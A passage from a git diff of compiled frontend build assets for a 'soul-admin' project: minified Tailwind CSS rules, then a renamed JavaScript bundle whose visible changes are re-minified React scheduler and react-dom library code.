*){opacity:1}}.peer-disabled\:cursor-not-allowed:is(:where(.peer):disabled~*){cursor:not-allowed}.peer-disabled\:opacity-70:is(:where(.peer):disabled~*){opacity:.7}.placeholder\:text-gray-500::placeholder{color:var(--color-gray-500)}.last\:border-b-0:last-child{border-bottom-style:var(--tw-border-style);border-bottom-width:0}@media(hover:hover){.hover\:border-\[\#38bdac\]\/30:hover{border-color:#38bdac4d}.hover\:border-\[\#38bdac\]\/50:hover{border-color:#38bdac80}.hover\:border-\[\#38bdac\]\/60:hover{border-color:#38bdac99}.hover\:border-\[\#38bdac\]\/70:hover{border-color:#38bdacb3}.hover\:border-blue-500\/60:hover{border-color:#3080ff99}@supports (color:color-mix(in lab,red,red)){.hover\:border-blue-500\/60:hover{border-color:color-mix(in oklab,var(--color-blue-500)60%,transparent)}}.hover\:border-gray-500:hover{border-color:var(--color-gray-500)}.hover\:border-gray-600:hover{border-color:var(--color-gray-600)}.hover\:border-orange-500\/50:hover{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.hover\:border-orange-500\/50:hover{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.hover\:border-yellow-500\/60:hover{border-color:#edb20099}@supports (color:color-mix(in lab,red,red)){.hover\:border-yellow-500\/60:hover{border-color:color-mix(in oklab,var(--color-yellow-500)60%,transparent)}}.hover\:bg-\[\#0a1628\]:hover{background-color:#0a1628}.hover\:bg-\[\#0a1628\]\/80:hover{background-color:#0a1628cc}.hover\:bg-\[\#1a3050\]:hover{background-color:#1a3050}.hover\:bg-\[\#2da396\]:hover{background-color:#2da396}.hover\:bg-\[\#06AD51\]:hover{background-color:#06ad51}.hover\:bg-\[\#07C160\]\/10:hover{background-color:#07c1601a}.hover\:bg-\[\#20B2AA\]:hover{background-color:#20b2aa}.hover\:bg-\[\#38bdac\]\/10:hover{background-color:#38bdac1a}.hover\:bg-\[\#38bdac\]\/20:hover{background-color:#38bdac33}.hover\:bg-\[\#162840\]:hover{background-color:#162840}.hover\:bg-\[\#162840\]\/30:hover{background-color:#1628404d}.hover\:bg-\[\#162840\]\/50:hover{background-color:#16284080}.hover\:bg-amber-500\/10:hover{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/10:hover{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.hover\:bg-amber-500\/20:hover{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/20:hover{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.hover\:bg-amber-600:hover{background-color:var(--color-amber-600)}.hover\:bg-blue-400\/10:hover{background-color:#54a2ff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-400\/10:hover{background-color:color-mix(in oklab,var(--color-blue-400)10%,transparent)}}.hover\:bg-blue-500\/20:hover{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-500\/20:hover{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.hover\:bg-emerald-500\/20:hover{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-emerald-500\/20:hover{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.hover\:bg-gray-500:hover{background-color:var(--color-gray-500)}.hover\:bg-gray-500\/20:hover{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-500\/20:hover{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.hover\:bg-gray-700:hover{background-color:var(--color-gray-700)}.hover\:bg-gray-700\/50:hover{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-700\/50:hover{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.hover\:bg-gray-800:hover{background-color:var(--color-gray-800)}.hover\:bg-green-500\/20:hover{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.hover\:bg-green-500\/20:hover{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.hover\:bg-green-700:hover{background-color:var(--color-green-700)}.hover\:bg-orange-500\/10:hover{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/10:hover{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.hover\:bg-orange-500\/20:hover{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/20:hover{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.hover\:bg-orange-600:hover{background-color:var(--color-orange-600)}.hover\:bg-purple-500\/10:hover{background-color:#ac4bff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/10:hover{background-color:color-mix(in oklab,var(--color-purple-500)10%,transparent)}}.hover\:bg-purple-500\/20:hover{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/20:hover{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.hover\:bg-purple-500\/30:hover{background-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/30:hover{background-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.hover\:bg-red-500\/10:hover{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/10:hover{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.hover\:bg-red-500\/20:hover{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/20:hover{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.hover\:bg-red-700:hover{background-color:var(--color-red-700)}.hover\:bg-red-800\/50:hover{background-color:#9f071280}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-800\/50:hover{background-color:color-mix(in oklab,var(--color-red-800)50%,transparent)}}.hover\:bg-white\/5:hover{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/5:hover{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.hover\:bg-white\/20:hover{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/20:hover{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.hover\:bg-yellow-500\/20:hover{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/20:hover{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.hover\:bg-yellow-500\/30:hover{background-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/30:hover{background-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.hover\:text-\[\#2da396\]:hover{color:#2da396}.hover\:text-\[\#5fe0cd\]:hover{color:#5fe0cd}.hover\:text-\[\#38bdac\]:hover{color:#38bdac}.hover\:text-amber-200:hover{color:var(--color-amber-200)}.hover\:text-amber-300:hover{color:var(--color-amber-300)}.hover\:text-amber-400:hover{color:var(--color-amber-400)}.hover\:text-blue-300:hover{color:var(--color-blue-300)}.hover\:text-blue-400:hover{color:var(--color-blue-400)}.hover\:text-gray-300:hover{color:var(--color-gray-300)}.hover\:text-orange-400:hover{color:var(--color-orange-400)}.hover\:text-red-300:hover{color:var(--color-red-300)}.hover\:text-red-400:hover{color:var(--color-red-400)}.hover\:text-sky-200:hover{color:var(--color-sky-200)}.hover\:text-white:hover{color:var(--color-white)}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-100:hover{opacity:1}}.focus\:border-\[\#38bdac\]:focus{border-color:#38bdac}.focus\:border-orange-500\/50:focus{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.focus\:border-orange-500\/50:focus{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.focus\:bg-\[\#38bdac\]\/20:focus{background-color:#38bdac33}.focus\:ring-2:focus{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus\:ring-\[\#38bdac\]:focus{--tw-ring-color:#38bdac}.focus\:ring-amber-400:focus{--tw-ring-color:var(--color-amber-400)}.focus\:ring-offset-2:focus{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus\:outline-none:focus{--tw-outline-style:none;outline-style:none}.focus-visible\:ring-0:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-2:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(3px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[\#38bdac\]:focus-visible{--tw-ring-color:#38bdac}.focus-visible\:ring-red-500:focus-visible{--tw-ring-color:var(--color-red-500)}.focus-visible\:ring-offset-0:focus-visible{--tw-ring-offset-width:0px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-\[\#0a1628\]:focus-visible{--tw-ring-offset-color:#0a1628}.focus-visible\:outline-none:focus-visible{--tw-outline-style:none;outline-style:none}.active\:cursor-grabbing:active{cursor:grabbing}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.has-\[\>svg\]\:px-2\.5:has(>svg){padding-inline:calc(var(--spacing)*2.5)}.has-\[\>svg\]\:px-3:has(>svg){padding-inline:calc(var(--spacing)*3)}.has-\[\>svg\]\:px-4:has(>svg){padding-inline:calc(var(--spacing)*4)}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y:calc(var(--spacing)*1);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=active\]\:bg-\[\#07C160\]\/20[data-state=active]{background-color:#07c16033}.data-\[state\=active\]\:bg-\[\#26A17B\]\/20[data-state=active]{background-color:#26a17b33}.data-\[state\=active\]\:bg-\[\#38bdac\]\/20[data-state=active]{background-color:#38bdac33}.data-\[state\=active\]\:bg-\[\#1677FF\]\/20[data-state=active]{background-color:#1677ff33}.data-\[state\=active\]\:bg-\[\#003087\]\/20[data-state=active]{background-color:#00308733}.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.data-\[state\=active\]\:font-medium[data-state=active]{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.data-\[state\=active\]\:text-\[\#07C160\][data-state=active]{color:#07c160}.data-\[state\=active\]\:text-\[\#26A17B\][data-state=active]{color:#26a17b}.data-\[state\=active\]\:text-\[\#38bdac\][data-state=active]{color:#38bdac}.data-\[state\=active\]\:text-\[\#169BD7\][data-state=active]{color:#169bd7}.data-\[state\=active\]\:text-\[\#1677FF\][data-state=active]{color:#1677ff}.data-\[state\=active\]\:text-amber-400[data-state=active]{color:var(--color-amber-400)}.data-\[state\=active\]\:text-purple-400[data-state=active]{color:var(--color-purple-400)}.data-\[state\=active\]\:shadow[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.data-\[state\=checked\]\:translate-x-4[data-state=checked]{--tw-translate-x:calc(var(--spacing)*4);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=checked\]\:bg-\[\#38bdac\][data-state=checked]{background-color:#38bdac}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=unchecked\]\:bg-gray-600[data-state=unchecked]{background-color:var(--color-gray-600)}@media(min-width:40rem){.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:calc(var(--spacing)*2)}.sm\:text-left{text-align:left}}@media(min-width:48rem){.md\:col-span-2{grid-column:span 2/span 2}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.md\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}}@media(min-width:64rem){.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-8{grid-template-columns:repeat(8,minmax(0,1fr))}}@media(min-width:80rem){.xl\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.\[\&_tr\]\:border-b tr{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.\[\&_tr\:last-child\]\:border-0 tr:last-child{border-style:var(--tw-border-style);border-width:0}.\[\&\:has\(\[role\=checkbox\]\)\]\:pr-0:has([role=checkbox]){padding-right:calc(var(--spacing)*0)}.\[\&\>span\]\:line-clamp-1>span{-webkit-line-clamp:1;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}}:root{--background:oklch(14.5% 0 0);--foreground:oklch(98.5% 0 0);--card:oklch(20% .02 240);--card-foreground:oklch(98.5% 0 0);--popover:oklch(20% .02 240);--popover-foreground:oklch(98.5% 0 0);--primary:oklch(65% .15 180);--primary-foreground:oklch(20% 0 0);--secondary:oklch(27% 0 0);--secondary-foreground:oklch(98.5% 0 0);--muted:oklch(27% 0 0);--muted-foreground:oklch(65% 0 0);--accent:oklch(27% 0 0);--accent-foreground:oklch(98.5% 0 0);--destructive:oklch(55% .2 25);--destructive-foreground:oklch(98.5% 0 0);--border:oklch(35% 0 0);--input:oklch(35% 0 0);--ring:oklch(65% .15 180);--radius:.625rem}body{font-family:var(--font-sans);color:var(--foreground);background:#0a1628}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-scale-x{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-y{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-z{syntax:"*";inherits:false;initial-value:1}@property --tw-rotate-x{syntax:"*";inherits:false}@property --tw-rotate-y{syntax:"*";inherits:false}@property --tw-rotate-z{syntax:"*";inherits:false}@property --tw-skew-x{syntax:"*";inherits:false}@property --tw-skew-y{syntax:"*";inherits:false}@property --tw-pan-x{syntax:"*";inherits:false}@property --tw-pan-y{syntax:"*";inherits:false}@property --tw-pinch-zoom{syntax:"*";inherits:false}@property --tw-space-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-space-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-divide-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-divide-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-gradient-position{syntax:"*";inherits:false}@property --tw-gradient-from{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-via{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-to{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-stops{syntax:"*";inherits:false}@property --tw-gradient-via-stops{syntax:"*";inherits:false}@property --tw-gradient-from-position{syntax:"";inherits:false;initial-value:0%}@property --tw-gradient-via-position{syntax:"";inherits:false;initial-value:50%}@property --tw-gradient-to-position{syntax:"";inherits:false;initial-value:100%}@property --tw-leading{syntax:"*";inherits:false}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-tracking{syntax:"*";inherits:false}@property --tw-ordinal{syntax:"*";inherits:false}@property --tw-slashed-zero{syntax:"*";inherits:false}@property --tw-numeric-figure{syntax:"*";inherits:false}@property --tw-numeric-spacing{syntax:"*";inherits:false}@property --tw-numeric-fraction{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-duration{syntax:"*";inherits:false}@keyframes spin{to{transform:rotate(360deg)}} diff --git a/soul-admin/dist/assets/index-DyqIjjBz.js b/soul-admin/dist/assets/index-jQTzpVXX.js similarity index 81% rename from soul-admin/dist/assets/index-DyqIjjBz.js rename to soul-admin/dist/assets/index-jQTzpVXX.js index 8b0907d8..aee2ce24 100644 --- a/soul-admin/dist/assets/index-DyqIjjBz.js +++ b/soul-admin/dist/assets/index-jQTzpVXX.js @@ -6,7 +6,7 @@ function bE(t,e){for(var n=0;n>>1,U=P[z];if(0>>1;za(Y,V))Ba(re,Y)?(P[z]=re,P[B]=V,z=B):(P[z]=Y,P[J]=V,z=J);else if(Ba(re,V))P[z]=re,P[B]=V,z=B;else break e}}return K}function a(P,K){var V=P.sortIndex-K.sortIndex;return V!==0?V:P.id-K.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;t.unstable_now=function(){return i.now()}}else{var o=Date,c=o.now();t.unstable_now=function(){return o.now()-c}}var u=[],h=[],f=1,m=null,g=3,y=!1,N=!1,w=!1,v=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,C=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function E(P){for(var K=n(h);K!==null;){if(K.callback===null)r(h);else if(K.startTime<=P)r(h),K.sortIndex=K.expirationTime,e(u,K);else break;K=n(h)}}function T(P){if(w=!1,E(P),!N)if(n(u)!==null)N=!0,H(I);else{var K=n(h);K!==null&&oe(T,K.startTime-P)}}function I(P,K){N=!1,w&&(w=!1,k(R),R=-1),y=!0;var V=g;try{for(E(K),m=n(u);m!==null&&(!(m.expirationTime>K)||P&&!Z());){var z=m.callback;if(typeof z=="function"){m.callback=null,g=m.priorityLevel;var U=z(m.expirationTime<=K);K=t.unstable_now(),typeof U=="function"?m.callback=U:m===n(u)&&r(u),E(K)}else r(u);m=n(u)}if(m!==null)var le=!0;else{var J=n(h);J!==null&&oe(T,J.startTime-K),le=!1}return le}finally{m=null,g=V,y=!1}}var O=!1,L=null,R=-1,D=5,_=-1;function Z(){return!(t.unstable_now()-_P||125z?(P.sortIndex=V,e(h,P),n(u)===null&&P===n(h)&&(w?(k(R),R=-1):w=!0,oe(T,V-z))):(P.sortIndex=U,e(u,P),N||y||(N=!0,H(I))),P},t.unstable_shouldYield=Z,t.unstable_wrapCallback=function(P){var K=g;return function(){var V=g;g=K;try{return P.apply(this,arguments)}finally{g=V}}}})(km)),km}var kv;function kE(){return kv||(kv=1,jm.exports=jE()),jm.exports}/** + */var jv;function jE(){return jv||(jv=1,(function(t){function e(P,q){var B=P.length;P.push(q);e:for(;0>>1,W=P[_];if(0>>1;_a(Y,B))Va(re,Y)?(P[_]=re,P[V]=B,_=V):(P[_]=Y,P[J]=B,_=J);else if(Va(re,B))P[_]=re,P[V]=B,_=V;else break e}}return q}function a(P,q){var B=P.sortIndex-q.sortIndex;return B!==0?B:P.id-q.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;t.unstable_now=function(){return i.now()}}else{var o=Date,c=o.now();t.unstable_now=function(){return o.now()-c}}var u=[],h=[],f=1,m=null,g=3,y=!1,N=!1,w=!1,v=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,C=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function E(P){for(var q=n(h);q!==null;){if(q.callback===null)r(h);else if(q.startTime<=P)r(h),q.sortIndex=q.expirationTime,e(u,q);else break;q=n(h)}}function T(P){if(w=!1,E(P),!N)if(n(u)!==null)N=!0,H(I);else{var q=n(h);q!==null&&oe(T,q.startTime-P)}}function I(P,q){N=!1,w&&(w=!1,k(R),R=-1),y=!0;var B=g;try{for(E(q),m=n(u);m!==null&&(!(m.expirationTime>q)||P&&!Z());){var _=m.callback;if(typeof _=="function"){m.callback=null,g=m.priorityLevel;var W=_(m.expirationTime<=q);q=t.unstable_now(),typeof W=="function"?m.callback=W:m===n(u)&&r(u),E(q)}else r(u);m=n(u)}if(m!==null)var le=!0;else{var J=n(h);J!==null&&oe(T,J.startTime-q),le=!1}return le}finally{m=null,g=B,y=!1}}var O=!1,L=null,R=-1,D=5,z=-1;function Z(){return!(t.unstable_now()-zP||125_?(P.sortIndex=B,e(h,P),n(u)===null&&P===n(h)&&(w?(k(R),R=-1):w=!0,oe(T,B-_))):(P.sortIndex=W,e(u,P),N||y||(N=!0,H(I))),P},t.unstable_shouldYield=Z,t.unstable_wrapCallback=function(P){var q=g;return function(){var B=g;g=q;try{return P.apply(this,arguments)}finally{g=B}}}})(km)),km}var kv;function kE(){return kv||(kv=1,jm.exports=jE()),jm.exports}/** * @license React * react-dom.production.min.js * @@ -30,14 +30,14 @@ function bE(t,e){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),u=Object.prototype.hasOwnProperty,h=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,f={},m={};function g(l){return u.call(m,l)?!0:u.call(f,l)?!1:h.test(l)?m[l]=!0:(f[l]=!0,!1)}function y(l,d,p,x){if(p!==null&&p.type===0)return!1;switch(typeof d){case"function":case"symbol":return!0;case"boolean":return x?!1:p!==null?!p.acceptsBooleans:(l=l.toLowerCase().slice(0,5),l!=="data-"&&l!=="aria-");default:return!1}}function N(l,d,p,x){if(d===null||typeof d>"u"||y(l,d,p,x))return!0;if(x)return!1;if(p!==null)switch(p.type){case 3:return!d;case 4:return d===!1;case 5:return isNaN(d);case 6:return isNaN(d)||1>d}return!1}function w(l,d,p,x,j,S,A){this.acceptsBooleans=d===2||d===3||d===4,this.attributeName=x,this.attributeNamespace=j,this.mustUseProperty=p,this.propertyName=l,this.type=d,this.sanitizeURL=S,this.removeEmptyString=A}var v={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(l){v[l]=new w(l,0,!1,l,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(l){var d=l[0];v[d]=new w(d,1,!1,l[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(l){v[l]=new w(l,2,!1,l.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(l){v[l]=new w(l,2,!1,l,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(l){v[l]=new w(l,3,!1,l.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(l){v[l]=new w(l,3,!0,l,null,!1,!1)}),["capture","download"].forEach(function(l){v[l]=new w(l,4,!1,l,null,!1,!1)}),["cols","rows","size","span"].forEach(function(l){v[l]=new w(l,6,!1,l,null,!1,!1)}),["rowSpan","start"].forEach(function(l){v[l]=new w(l,5,!1,l.toLowerCase(),null,!1,!1)});var k=/[\-:]([a-z])/g;function C(l){return l[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!1,!1)}),v.xlinkHref=new w("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!0,!0)});function E(l,d,p,x){var 